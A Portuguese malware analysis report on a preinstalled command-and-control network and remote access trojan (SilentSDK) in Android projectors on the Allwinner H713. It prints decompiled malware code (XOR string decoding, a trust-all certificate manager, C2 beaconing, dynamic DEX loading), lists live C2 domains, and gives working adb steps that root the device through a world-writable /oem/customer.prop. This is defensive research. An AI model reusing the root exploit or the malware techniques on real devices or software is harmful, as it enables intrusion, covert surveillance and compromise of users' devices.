
Análise de uma rede c2 de beamers chineses - SilentSDK-Analysis
Relatório de Análise Técnica — Pesquisa de Segurança
Dispositivos Afetados: Múltiplos projetores Android de marcas como Nonete (ex.: Modelo HY260Pro) (provavelmente também vários projetores da Magcubic, Hotack, Huyukang e muitos outros, pois essas empresas distribuem modelos semelhantes e há indícios que apoiam isso)
Plataforma do Chipset: Allwinner H713 / sun50iw12p1 — potencialmente afeta todos os dispositivos nesta plataforma
Período de Análise: 11 a 17 de abril de 2026
Classificação: Infraestrutura de Comando e Controle pré-instalada com payload de Trojan de Acesso Remoto
api.pixelpioneerss.com), extrai IDs sensíveis do dispositivo e pode baixar e executar código malicioso adicional arbitrário com privilégios de root a qualquer momento (chmod 777). Além disso, os dispositivos possuem backdoors de root abertos.*.aodintech.com, api.pixelpioneerss.com, sta.smartinnovate.net) devem ser bloqueados no nível de rede. Os usuários afetados só podem desabilitar os aplicativos maliciosos manualmente via ADB, pois estão profundamente embutidos no sistema.A infraestrutura de malware documentada neste relatório está pré-instalada em projetores Android atualmente sendo vendidos em grandes quantidades para consumidores finais na Amazon, eBay e AliExpress. Os dispositivos afetados abrangem possivelmente múltiplas marcas (Hotack, Huyukang, Magcubic, Nonete, entre outras). Infraestrutura C2 idêntica foi confirmada independentemente em outros dispositivos do mesmo fabricante (veja Seção 13). O padrão corresponde aos casos BADBOX.
Dispositivo Adquirido: Amazon Link - Nonete Mini Beamer 4K 1080P
Nota sobre o escopo: O chipset Allwinner H713 está integrado em numerosos projetores Android baratos vendidos sob nomes de marcas variáveis no mercado europeu. A base de firmware idêntica (h713_tuna_p3) e o operador C2 idêntico (Shenzhen Aodin Technology) sugerem fortemente que todos os dispositivos deste OEM contêm a mesma infraestrutura.
O acesso root foi alcançado através de uma combinação de três vulnerabilidades:
/oem gravável mundialmente — A partição é montada como FAT com fmask=0000.customer.prop carregado na inicialização — Sobrescreve propriedades do sistema.```bash
adb shell getenforce # Result: Permissive
adb shell ls -la /oem/ # All files world-writableadb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop'
adb reboot && adb wait-for-device && adb root adb shell id
**Impacto:** Qualquer utilizador com acesso físico ou um atacante na mesma rede (via ADB, porta 5555 aberta, sem autenticação) obtém acesso root completo.
---
## 4. Resposta do Servidor C2 — Evidência Principal
### Requisição HTTP Capturada```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12
A resposta compactada com gzip contém uma lista JSON com sete aplicativos. Seis deles são aplicativos de streaming comuns (YouTube, Netflix, Disney+, Prime Video, Chrome, BrowseHere). O sétimo é SilentTools:
{ "name": "SilentTools", "pkg": "com.hotack.silentsdk", "desc": "Special app", "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png", "category": "htc", "zone": "Global", "developer": "htc", "isForce": true, "verCode": 4, "verName": "2509041614", "verDesc": "SilentSDK", "installType": 0, "appType": "apk", "reverseLen": 63995, "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==", "size": 2474873, "md5": "5df097591d6942bae4eff33a37c4e28f", "upDate": "2025-09-04", "isShow": false, "isSilentInstall": false, "isSilentUninstall": true, "isBootStartup": false, "launchType": 1, "launchParam": "com.hotack.silentsdk.MyService" }
**Interpretação das flags:**
- `isShow: false` — O aplicativo não aparece na interface da loja.
- `isForce: true` — Presumivelmente força a ação (instalação ou atualização).
- `isSilentUninstall: true` — Pode desinstalar-se sem interação do utilizador.
- `launchType: 1` — Inicia automaticamente o serviço em segundo plano.
- `launchParam: MyService` — Referência ao serviço persistente.
- `zone: "Global"` — Visa todos os dispositivos mundialmente.
- `reverseLen` — Comprimento de bytes necessário para restaurar o SilentSDK `.apk`.
### Caminho de Download Criptografado
O campo `path` é criptografado com AES-CBC:
- **Key/IV:** `[REDACTED]` (AES-CBC, Raw) -> O ChannelID do dispositivo.
- **Resultado descriptografado:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp
Nota: A extensão de arquivo .bpp é provavelmente usada para contornar firewalls, com o arquivo sendo renomeado para .apk durante a execução. O campo isSilentInstall é false nesta captura. A semântica exata de isForce: true não pôde ser inequivocamente reconstruída a partir do código descompilado. Não se pode descartar que o valor seja definido dinamicamente para true no lado do servidor.
O dispositivo contém quatro apps do sistema em interação, todos assinados com a chave de teste AOSP e executando com UID 1000 (System):```text ┌──────────────┐ │ DEVICE BOOT │ └──────┬───────┘ ┌────────────────┼────────────────┐ ▼ ▼ ▼ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │ StoreOS │ │ SilentSDK │ │ EventUpload │ │ DROPPER │ │ RAT │ │ HEARTBEAT │ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ ▼ ▼ ▼ store-api. api.pixel event-api. aodintech.com pioneerss.com aodintech.com
+ ExpandSDK (Ad-Injection)
→ pb-api.aodintech.com
---
## 6. StoreOS — Análise de Dropper
StoreOS parece ser uma loja de aplicativos que é instalada automaticamente; no entanto, cumpre a função de um dropper.
**Package:** `com.htc.storeos`
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`
### Permissões
| Permissão | Impacto |
|:---|:---|
| `INSTALL_PACKAGES` | Instalação silenciosa sem diálogo do usuário |
| `CLEAR_APP_USER_DATA` | Exclusão de dados arbitrários de aplicativos |
| `MASTER_CLEAR` | Acionamento de redefinição de fábrica |
| `WRITE_SECURE_SETTINGS` | Modificação de configurações de segurança |
| `DEVICE_POWER` | Gerenciamento de energia do dispositivo |
| `MANAGE_EXTERNAL_STORAGE` | Acesso total ao armazenamento externo |
### Cadeia de Instalação (a partir do código descompilado)
1. **BootReceiver** inicia `CheckUpdateService`.
2. HTTP POST para `store-api.aodintech.com/sign/app/list`.
3. Servidor entrega `AppsData[]` contendo campos: `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5`.
4. `DownloadService` busca APKs como arquivos `.bpp` do CDN.
5. **Proteção de Reversão de Bytes:** Os primeiros `reverseLen` bytes são revertidos antes da gravação no disco (Medida Antianálise).
6. Verificação MD5 do arquivo baixado.
7. Instalação via `Runtime.getRuntime().exec("pm install -r " + filePath)`.
8. `StartAppService` inicia o aplicativo instalado de acordo com `launchParam`.
### Mecanismo de Reversão de Bytes — Prova Técnica
**Classe:** `AbstractC2057b` — **Método:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX
Este método reverte os primeiros `reverseLen` bytes de cada APK baixado. Como resultado, arquivos `.bpp` interceptados não podem ser reconhecidos ou extraídos como APKs válidos sem conhecer o valor específico de `reverseLen`.```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
reverseLen = fileSize;
offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
byte tmp = buffer[head];
buffer[head] = buffer[tail];
buffer[tail] = tmp;
head++; tail--;
}
// 3. Copy the remaining bytes unchanged
Invocação no caminho de download (Class RunnableC1595d, case 0):```java
if (downInfo.getReverseLen() != 0) {
String outputPath = inputPath.replace(".apk", "des.apk");
if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) {
// Error handling
return;
}
downInfo.setFileSavePath(outputPath);
}
// Followed by MD5 verification and installation
Ao reverter este mecanismo, o APK do SilentSDK foi decodificado e analisado com sucesso.
### Segmentação Geográfica
O StoreOS utiliza `api.ipdatacloud.com/v2/query` para geolocalização de IP. A classe `SpecialApps` contém campos para `continent` e `countryCode`, permitindo a distribuição de payloads específicos por região.
---
## 7. EventUploadService — Telemetria
**Package:** `com.htc.eventuploadservice`
**Target:** `http://event-api.aodintech.com/report`
**Intervalo:** A cada 5 minutos
| Campo | Valor Exemplo | Impacto na Privacidade |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | Endereço MAC (PII) |
| `deviceSn` | `[REDACTED]` | Número de Série (Único) |
| `channel` | `HY260Pro_hy_TPYB` | Canal de Firmware |
| `version` | `Projector.20250422.152235` | Versão do Firmware |
| `model` | `NT10` | Modelo do Dispositivo |
| `language` | `en_US` | Configuração de Idioma |
A transmissão ocorre sem criptografia via HTTP e sem consentimento do usuário. O endereço MAC e o número de série permitem a identificação e o rastreamento precisos de dispositivos individuais.
---
## 8. ExpandSDK — Injeção de Anúncios
**Package:** `com.htc.expandsdk`
**C2 Servers:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`
O ExpandSDK utiliza o TCL VastAd SDK para anúncios em vídeo VAST e é capaz de renderizar diálogos de sobreposição do sistema (`SYSTEM_ALERT_WINDOW`) em qualquer posição da tela. A configuração inclui campos de posição (`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`) e o identificador de parceiro `htk` (Hotack).
O ExpandSDK opera independentemente do SilentSDK como um canal de monetização separado.
---
## 9. SilentSDK — Análise de RAT
**Package:** `com.hotack.silentsdk`
**SHA-256 (decoded):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`
**MD5 (decoded):** `5df097591d6942bae4eff33a37c4e28f`
### Análise do Manifesto
| Propriedade | Valor | Significado |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | Privilégios de Sistema (UID 1000) |
| `usesCleartextTraffic` | `true` | Tráfego HTTP permitido |
| Launcher Icon | Não visível para o usuário | Oculto da interface do usuário |
| `BootReceiver` | Priority 999 | Inicia antes de quase todos os outros aplicativos |
| `MyService` | exported, foreground | Serviço de segundo plano persistente |
| `BootStartActivity` | `com.htc.bootstart` | Gatilho de inicialização adicional |
### Empacotamento e Descriptografia de DEX
O DEX original está empacotado: O cabeçalho declara 2.318.316 bytes, mas o arquivo comprimido contém apenas 65.536 bytes com uma soma de verificação Adler32 inválida. Após quebrar a proteção de reversão de bytes do StoreOS, o DEX se torna totalmente legível — o tamanho do arquivo e o tamanho declarado coincidem, e 16.241 strings são extraíveis.
### Ofuscação XOR — Prova Técnica
Todas as strings relevantes à segurança são ofuscadas usando uma cifra XOR rotativa dentro do método `AbstractC0000a.m36g()`:```java
public static String m36g(byte[] data, byte[] key) {
int i3 = 0, i4 = 0;
while (i3 < data.length) {
if (i4 >= key.length) i4 = 0;
data[i3] = (byte) (data[i3] ^ key[i4]);
i3++; i4++;
}
return new String(data);
}
Isto representa apenas uma parte das strings descriptografadas.
O fluxo de obtenção do MAC revela um desvio deliberado de permissão: quando WifiInfo.getMacAddress() retorna o MAC falso protegido por privacidade do Android (02:00:00:00:00:00), o malware recorre à leitura do MAC real do hardware diretamente de /sys/class/net/wlan0/address via shell root — comportamento nunca visto em aplicativos legítimos.
A análise a seguir traça a cadeia completa de execução, desde a inicialização do aplicativo até o controle persistente pelo C2. Os nomes das classes referem-se aos identificadores desobstruídos pelo JADX.
MyApplication.java — Ponto de Entrada
A sobrescrita Application.onCreate() é o primeiro código executado. Ela chama imediatamente C0561f.m1737c com o ApplicationContext, inicializando toda a maquinaria do malware antes que qualquer interface seja renderizada.
AbstractC0577v.java — Contexto
Se o aplicativo hospedeiro não fornecer voluntariamente seu contexto, esta classe usa reflexão profunda do sistema (android.app.ActivityThread) para roubar autonomamente o ApplicationContext global. Isso concede ao SDK acesso completo a arquivos, serviços do sistema e gerenciamento de pacotes sem depender do aplicativo hospedeiro.
C0578w.java — Observador do Ciclo de Vida da Activity
Registra-se como ActivityLifecycleCallbacks para monitorar cada interação do usuário: qual tela está aberta, se o aplicativo está em primeiro ou segundo plano. Criticamente, reativa animações do sistema desabilitadas e manipula as configurações de SoftInputMode — pré-requisitos para renderizar sobreposições invisíveis (por exemplo, para fraude de cliques) sem alertar o usuário através de pop-ups inesperados do teclado.
AbstractC0562g.java — Geração do Bot-ID
Gera uma impressão digital agressiva do dispositivo concatenando: UUID aleatório + Build.BRAND + Build.MODEL + endereço MAC físico (obtido via cat /sys/class/net/wlan0/address, contornando as proteções de privacidade do Android) + android_id + timestamp. A string resultante é submetida a hash MD5 e armazenada como adid — o Bot-ID permanente usado para registrar o dispositivo no servidor C2.
C0565j.java — Bypass de Certificado SSL
Um X509TrustManager manipulado com métodos de validação completamente vazios (checkClientTrusted, checkServerTrusted). Isso garante que o malware aceite cegamente qualquer certificado SSL, impedindo que os mecanismos de segurança do Android bloqueiem a comunicação com o C2 — mesmo que o servidor C2 esteja comprometido ou use um certificado inválido.```java
// From AbstractC0000a.m41j() — TrustManager accepts ALL certificates
TrustManager[] trustManagerArr = {new C0565j()};
SSLContext sslContext = SSLContext.getInstance("SSL");
sslContext.init(null, trustManagerArr, new SecureRandom());
((HttpsURLConnection) conn).setSSLSocketFactory(
sslContext.getSocketFactory()
);
Se ocorrer um erro SSL (`SSLException`), `f2664e` é definido como `false` e todas as solicitações subsequentes utilizam HTTP em vez de HTTPS.
#### Fase 3: Aquisição de Payload
**`C0566k.java` — Fallback Offline (Payload Incorporado)**
Antes de contactar a rede, esta classe verifica se um payload já está incluído dentro do APK em `assets/m17gawxG.java`. Se encontrado, lê o arquivo byte a byte e o descriptografa usando uma chave XOR fixa no código (`m17gawxG`). O resultado é escrito como um arquivo executável `.temp`. Isso garante que o RAT possa ativar mesmo em dispositivos air-gapped ou quando o servidor C2 está inacessível.
**`RunnableC0569n.java` — Downloader C2 Ao Vivo**
Se o fallback offline falhar, esta classe monta um beacon JSON contendo o Bot-ID, nome do pacote e versão do Android, e então contacta o endpoint C2 `api.pixelpioneerss.com`:
**Passo 1 — Geração de URL com Caminho Aleatório:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s
Passo 2 — Beacon Payload:```java JSONObject beacon = new JSONObject(); beacon.put("a", getDeviceFingerprint(context)); // Bot-ID (adid) beacon.put("b", appKey); // Campaign Key beacon.put("c", context.getPackageName()); // com.hotack.silentsdk beacon.put("d", currentVersion); // Payload Version beacon.put("f", Build.FINGERPRINT); // Build Fingerprint beacon.put("h", Build.VERSION.SDK_INT); // SDK Version
**Passo 3 — Criptografia AES e Transmissão:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message
Passo 4 — Processando a Resposta do Servidor:```java JSONObject data = new JSONObject(response).getJSONObject("data"); String downloadUrl = data.getString("a"); // DEX Download URL String md5Hash = data.getString("b"); // MD5 for verification int version = data.getInt("c"); // Version number // → m1762a() downloads DEX, verifies Hash, executes
O downloader (`AbstractC0000a.m37h`) busca o payload e então usa um shell root para conceder permissões totais de execução via `chmod 777`.
Todas as requisições C2 carregam o cabeçalho HTTP personalizado `a: 1003` — uma assinatura de nível de rede desta família de malware.
#### Fase 4: Execução e Controle
**`AbstractC0568m.java` — Área de Preparação**
Cria um diretório oculto chamado **`TMRXwWJu3G5`** no sistema de arquivos do dispositivo onde todos os payloads baixados são preparados. Esta classe também contém métodos (`m1754e`) que interceptam eventos físicos de teclas (`KeyEvent`), impedindo o usuário de pressionar o botão "Voltar" enquanto uma sobreposição maliciosa está ativa.
**`C0561f.java` — O Orquestrador**
Une toda a cadeia. Ele chama o código fortemente ofuscado em `C0566k.m1746b`, que usa reflexão para construir a string `"dalvik.system.DexClassLoader"` e inicializá-lo. O ClassLoader é então forçado a carregar e executar a classe de payload final:```
com.me.cash5.OoO0OOo
A partir deste ponto, a carga útil carregada dinamicamente tem controle total dentro do contexto do processo do aplicativo (UID 1000 / System).
AbstractC0563h.java & C0558c.java — Coleta de Telemetria
Cada carregamento de módulo, evento de erro (por exemplo, falha de download) ou exibição de overlay aciona um relatório de status (codificado como "e6", "e4" para erros SSL, etc.). C0558c executa uma thread de coleta dedicada ("burying_loop_s") que agrega esses eventos. A cada 5 segundos, ele monta um pacote JSON de telemetria abrangente com campos como "d" (modelo do dispositivo), "e" (versão do SDK), "c" (ID do Android).
RunnableC0564i.java — Exfiltrador de Dados
Pega o JSON de telemetria, comprime-o com GZIPOutputStream (para dificultar a análise de tráfego), depois o criptografa com AES personalizado — anexando as chaves dinâmicas ao texto cifrado. O pacote GZIP-AES resultante é transmitido via TrustManager que ignora SSL para um servidor de rastreamento dedicado:```
bur.thedynamicleap.com
Este é um **domínio C2 separado** do primário `api.pixelpioneerss.com`, usado exclusivamente para exfiltração de telemetria.
**`AbstractC0572q.java` & `RunnableC0560e.java` — Heartbeat e Auto-Cura**
O mecanismo de persistência. `AbstractC0572q` mantém um timer na thread principal. Se alguma parte da cadeia de infecção falhar (por exemplo, sem internet durante o download), ele dispara `sendEmptyMessageDelayed(..., 60000L)`. Após exatamente 60 segundos, `RunnableC0560e` (como um worker em segundo plano) reinicia toda a maquinaria de infecção desde o início. Esse loop se repete indefinidamente até que a infecção seja bem-sucedida.
### Persistência e Carregamento Dinâmico — Resumo
O método `m1762a()` em `RunnableC0569n` implementa o ciclo completo de download do payload:
1. Fazer download do arquivo DEX do C2.
2. Verificar o hash MD5.
3. Salvar o número da versão no SharedPreferences.
4. Carregar e executar o DEX via `DexClassLoader` ou `Runtime.exec()`.
5. Em caso de erros: Incrementar o contador de tentativas no SharedPreferences, pausar após 13 tentativas falhadas — então o heartbeat de 60 segundos reinicia o ciclo.
## 9.1. O Payload do Malware
Após enviar esta solicitação para o servidor C2:```json
{
"a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
"b":"f101", //CampaignID injected in MyApplication.java
"c":"com.hotack.silentsdk", //Package name
"d":0,
"f":"c0:3a:4b:11:22:33", // Device MAC address
"h":30, //Version
}
Resposta:```json { "code":"0000", "data":{ "a":"https://sta.smartinnovate.net/sdkfile/uploadfile/[FILE].jar?t=[TIMESTAMP]]&r=[STRING]&s=[STRING]", "b":"53e49c7bf3e93b57f8cbfc7fb9a65126", "c":6037, "d":3600000, "e":"103.124.165.222", "f":"India/Karnataka/Bengaluru", "g":false, "h":"", "i":"" }, "time":"1776365262249", "message":"" }
---
## 10. O Malware
Após a recuperação bem-sucedida e a análise adicional do payload, determinei—após contornar camadas significativas de criptografia e ofuscação personalizadas—que o malware utiliza uma arquitetura altamente modular. Ele opera como um framework sofisticado capaz de baixar, atualizar, reiniciar e excluir ativamente plugins para destruir evidências forenses. Esses payloads são executados com privilégios de root. Além disso, o código revela mecanismos projetados para sobrepor WebViews completas na tela, indicando fortemente capacidades avançadas de phishing. O malware também demonstra táticas avançadas de segmentação e evasão: ele implementa geofencing rigoroso para atingir regiões específicas, perfilia a arquitetura da CPU (distinguindo entre `arm64`, `armeabi`, `x86` e `mips`) e contorna ativamente a validação de certificados SSL para proteger suas comunicações C2. Estou mantendo este resumo intencionalmente breve por enquanto, pois a forte ofuscação exige um processo de engenharia reversa prolongado e contínuo.
## 11. Backdoors do Sistema
### 11.1 Binário `su` Oculto: `/system/bin/qw`
Um binário `su` renomeado como `qw` (Koushikdutta Superuser, 388 KB, vinculado estaticamente, ARM 32-bit):```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
user root
group root
class core
/dev/com.koushikdutta.superuser.daemon/server (srwxrwxrwx)O certificado de assinatura de plataforma é a chave de teste publicamente incluída no código-fonte do AOSP (Índice de Cert 0 em packages.xml). Qualquer aplicativo assinado com essa chave recebe automaticamente privilégios de sistema no dispositivo. A chave é livremente acessível a qualquer desenvolvedor Android.
dbgserver/vendor/bin/dbgserver — Servidor de E/S de registros de hardware, comunicando-se através do dispositivo gravável mundialmente /dev/hidtvreg (crwxrwxrwx).
Toda a comunicação C2 ocorre via HTTP não criptografado. Isso possibilita ataques MITM (Man-In-The-Middle): um atacante na mesma rede pode manipular a lista de aplicativos e injetar APKs arbitrários, que serão então instalados com privilégios de sistema.
O dispositivo se disfarça como o ADT-3 do Google (Android TV Developer Kit):
| Propriedade |
|---|
Este spoofing é presumivelmente destinado a contornar as verificações de certificação do Google Play.
Em janeiro de 2026, o pesquisador de segurança Zane St. John publicou uma análise de dispositivos idênticos abrigando exatamente a mesma infraestrutura de malware. As descobertas coincidem em todos os pontos cruciais: endpoints C2, ofuscação XOR, protocolo AES-128-CBC, ID de Campanha f101, bypass SSL e chmod 777. O dispositivo analisado por Zane St. John parece já estar infectado pelo SilentSDK, o que não era o caso no meu dispositivo de fábrica. Os endpoints na análise de Zane St. John também parecem ligeiramente alterados, indicando a possibilidade de rotação de endpoints. Além disso, o SilentSDK parece estar pré-instalado no caso dele, enquanto no meu dispositivo ele parece ser baixado e instalado assim que aodintech envia o sinal de gatilho.
Fonte: https://zanestjohn.com/blog/reing-with-claude-code
| Fonte | MD5 |
|---|
Os hashes da distribuição do servidor C2, nossa própria descriptografia e a análise externa são idênticos — confirmando que é exatamente o mesmo malware. Isso confirma a ampla disseminação do malware.
StoreOS-APK: BitDefender detecta Android.Riskware.TestKey.rB; nenhum outro antivírus dispara um alerta.
api.pixelpioneerss.com # SilentSDK RAT C2 bur.thedynamicleap.com # SilentSDK Telemetry Exfiltration sta.smartinnovate.net # Payload Distribution store-api.aodintech.com # StoreOS App Distribution cdn-store.aodintech.com # APK Download CDN event-api.aodintech.com # Telemetry Exfiltration pb-api.aodintech.com # ExpandSDK Ad Injection ota.triplesai.com # OTA Updates api.ipdatacloud.com # IP Geolocation euads-o.api.leiniao.com # Secondary Ad Server
### Assinaturas de Rede```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003 # SilentSDK Signature
POST /sign/app/list # StoreOS C2 Beacon
POST /report # EventUpload Telemetry
com.hotack.silentsdk SHA-256: e5a193c31526a2194d04a2... com.htc.storeos SHA-256: 3476536a5c722b9e34c53a... com.htc.eventuploadservice com.htc.expandsdk
### Sistema de Arquivos```text
/system/bin/qw # su Binary
/dev/com.koushikdutta.superuser.daemon/server # su Socket
/oem/customer.prop # World-writable
/vendor/bin/dbgserver # HW-Debug
/dev/hidtvreg # World-writable
assets/m17gawxG.java # Embedded fallback payload (XOR key: "m17gawxG") TMRXwWJu3G5/ # Covert staging directory for downloaded payloads com.me.cash5.OoO0OOo # Final dynamically-loaded payload class dalvik.system.DexClassLoader # Reflectively constructed to load payload
---
## 16. Mapeamento MITRE ATT&CK
| Técnica | ID | Prova |
|:---|:---|:---|
| Comprometimento da Cadeia de Suprimentos | T1195.002 | Fábrica de malware pré-instalada |
| Execução de Inicialização Automática na Inicialização ou Logon | T1547 | BootReceiver Priority 999 |
| Arquivos ou Informações Ofuscadas | T1027 | XOR Strings, DEX Packing, embedded XOR-encrypted asset |
| Protocolo de Camada de Aplicação | T1071 | HTTP/HTTPS C2 |
| Troca Dinâmica de Dados / Injeção de Payload | T1055 | DexClassLoader, chmod 777 |
| Descoberta de Informações do Sistema | T1082 | Device Fingerprinting, Geração de Bot-ID |
| Dados do Sistema Local | T1005 | MAC, Serial, IMEI, android_id |
| Exfiltração Através de Canal C2 | T1041 | Periodic Telemetry to `bur.thedynamicleap.com` |
| Mascaramento | T1036 | .bpp file extension, ADT-3 Spoofing |
| Rootkit | T1014 | Binário su Oculto |
| Captura de Entrada | T1056 | Interceptação de KeyEvent para suprimir o botão Voltar |
| Remoção de Indicador / Auto-Exclusão | T1070 | `isSilentUninstall: true` capability |
| Carregamento de Código Reflexivo | T1620 | Reflective DexClassLoader instantiation |
| Overlay de Janela do Sistema | T1624 | Manipulação de SoftInputMode para overlays invisíveis |
---
## 17. Mitigações Imediatas
### Para Usuários Finais Afetados```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate
store-api.aodintech.com cdn-store.aodintech.com sta.smartinnovate.net event-api.aodintech.com pb-api.aodintech.com api.pixelpioneerss.com bur.thedynamicleap.com ota.triplesai.com
---
## 18. Fontes
1. Zane St. John: "Engenharia Reversa de Malware Android Pré-instalado com Claude Code", Janeiro de 2026. https://zanestjohn.com/blog/reing-with-claude-code
2. BSI: "BSI alerta sobre malware pré-instalado em dispositivos IoT" (BADBOX), Outubro de 2023.
3. Análise do VirusTotal do APK do StoreOS.
---
**Período de Análise:** 11 a 17 de Abril de 2026
**Aviso Legal**
Apenas para Fins Educacionais e de Pesquisa. Este relatório é fornecido "como está" para fins informativos sobre ameaças de cibersegurança. A análise baseia-se num instantâneo do ecossistema atual de malware; sendo a engenharia reversa um processo contínuo, as conclusões podem estar sujeitas a alterações à medida que novos dados se tornem disponíveis.
Este relatório foi compilado de boa fé e, tanto quanto é do meu conhecimento, com base na análise de dados binários e código fonte descompilado. Devido ao alto nível de ofuscação e à natureza evolutiva da ameaça, estas conclusões representam um estado atual da investigação. Embora as evidências apoiem fortemente as conclusões apresentadas, estas estão sujeitas a refinamento à medida que novas evidências técnicas forem descobertas.
| Propriedade | Valor |
|---|
| Nome da Marca | Nonete HY260Pro (modelo vendido por várias empresas) |
| Nome do Modelo Interno | NT10 |
| SoC | Allwinner sun50iw12p1 (ARM 32 bits) |
| Sistema Operacional | SpectraOS (Android 11, Kernel 5.4.99) |
| Real Build Fingerprint | Allwinner/h713_tuna_p3/h713-tuna_p3:11 |
| Spoofed Build Fingerprint | ADT-3/adt3/adt3:11/RP1A.201005.006 |
| SELinux | Permissivo (sem aplicação) |
| Chave de Assinatura da Plataforma | Chave de Teste AOSP Pública |
| Certificado OEM | CN=蓝鲨, OU=www.bsh.me, C=CN |
| Canal de Firmware | HY260Pro_SpectraOS_TPYB |
| Etapa | Ação | Resultado |
|---|
| 1 | Captura de tráfego de rede com Wireshark | Tráfego HTTP para store-api.aodintech.com |
| 2 | Decodificação da resposta C2 compactada com gzip | 7 apps, incluindo "SilentTools" oculto |
| 3 | Descriptografia AES-CBC do caminho de download | Chave [REDACTED], URL para arquivo .bpp |
| 4 | Exploração de root via /oem/customer.prop | uid=0(root) após injeção de propriedade |
| 5 | Extração forense de /data, /oem, /system | APKs, bancos de dados, configurações |
| 6 | Análise estática do DEX do StoreOS | pm install -r -d, proteção de inversão de bytes |
| 7 | Engenharia reversa do mecanismo reverseLen | Compreensão da proteção antianálise |
| 8 | Quebra da proteção de inversão de bytes | DEX do SilentSDK descriptografado e analisável |
| 9 | Descriptografia XOR das strings do SilentSDK | Domínio C2 api.pixelpioneerss.com confirmado |
| 10 | Verificação de hash em três fontes | MD5/SHA-256 correspondem perfeitamente |
| 11 | Engenharia reversa do processo de download do malware | Servidores ainda online |
| 12 | Engenharia reversa do malware | Framework RAT baseado em plugins |
| App | Package | isShow | isForce | isSilent Install | isSilent Uninstall | launch Type |
|---|
| YouTube | com.google.android.youtube.tv | true | false | false | false | 0 |
| Disney+ | com.disney.disneyplus | true | false | false | false | 0 |
| Netflix | com.netflix.mediaclient | true | false | false | false | 0 |
| Chrome | com.android.chrome | true | false | false | false | 0 |
| Prime Video | com.amazon.amazonvideo.livingroom | true | false | false | false | 0 |
| BrowseHere | com.tcl.browser | true | false | false | false | 0 |
| SilentTools | com.hotack.silentsdk | false | true | false | true | 1 |
| Chamada Ofuscada | Resultado | Função |
|---|
m36g({-99,127,58,-103,...}, {-4,15,83,-73,...}) | api.pixelpioneerss.com | Domínio C2 |
m36g({7,-68}, {116,-44,...}) | sh | Binário shell para Runtime.exec() |
m36g({-83,-92,-19,...}, {-50,-52,...}) | chmod 777 | Comando Shell |
m36g({-47,-3,-68,106,-76}, {-1,-119,...}) | .temp | Sufixo de arquivo temporário para downloads |
m36g({125,61,58,...}, {21,73,78,...}) | https:// | Protocolo Primário |
m36g({0,90,58,...}, {104,46,78,...}) | http:// | Fallback em erro SSL |
m36g({-22,78,57}, {-71,29,117,...}) | SSL | Protocolo TLS |
m36g({-15}, {-112,...}) | a | Nome de cabeçalho personalizado → valor 1003 |
m36g({17,67,42}, {124,39,...}) | md5 | MessageDigest.getInstance("md5") |
m36g({-15,90,-128,21}, {-122,51,...}) | wifi | getSystemService("wifi") |
m36g({-48,89,-25,-31,...}, {-73,60,...}) | getprop wifi.interface | Fallback shell: ler nome da interface |
m36g({-95,-26,-107,-91,...}, {-62,-121,...}) | cat /sys/class/net/ | Fallback shell: ler MAC (prefixo) |
m36g({6,-88,45,-126,...}, {41,-55,...}) | /address | Fallback shell: ler MAC (sufixo) |
m36g({10,39,105,25,...}, {58,21,...}) | 02:00:00:00:00:00 | Sentinela de MAC falso do Android (API 23+) |
| Porta | UID | Descrição |
|---|
| 65528 | root (0) | Daemon su |
| 5555 | root (0) | ADB sem autenticação |
| 7889/7890 | system (1000) | Serviço desconhecido |
| 10012/10013 | system (1000) | Fábrica Debug? |
| Servidor | Endpoint | Função |
|---|
